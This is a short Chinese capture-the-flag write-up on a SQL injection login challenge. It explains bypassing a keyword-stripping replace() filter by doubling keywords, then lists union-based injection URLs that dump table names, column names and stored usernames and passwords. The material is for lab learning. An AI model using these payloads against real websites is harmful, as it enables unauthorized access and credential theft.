打开题目发现和之前作的界面类似
尝试万能密码登入
输入一些常用的注入语句发现报错的都为输入的部分,说明没报错的语句没了或者被替换成了无效语句,这里考滤一下replace函数
在username尝试
输入1'%23(
就是1'#
的意思)
发现1‘#回显为1'%23即1’#可以使用只是前面有什么使后面的语句失效,大胆猜测是将前面的关键语句替换成空尝试输入1‘or 1=1;发现任然报错,但当输入1' oorr 1=1时发现登入成功
(这里是利用双写绕过replace函数的替换)
之后进行测试发现replace了or,from,where,select,and,by,union
代换上面函数进行爆表:
?username=admin' oorrder bbyy 3;%23&password=1
显示登陆成功
将3换为4显示登陆失败即一共有三列
再进行爆列:
?username=1' uunionnion sselectelect 1,2,3;%23&password=1
显示回显在2,3列
继续进行爆破:
?username=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23&password=1
?username=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql' %23&password=1
将第三列也爆出来:
?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1
便可以发现flag在第三列中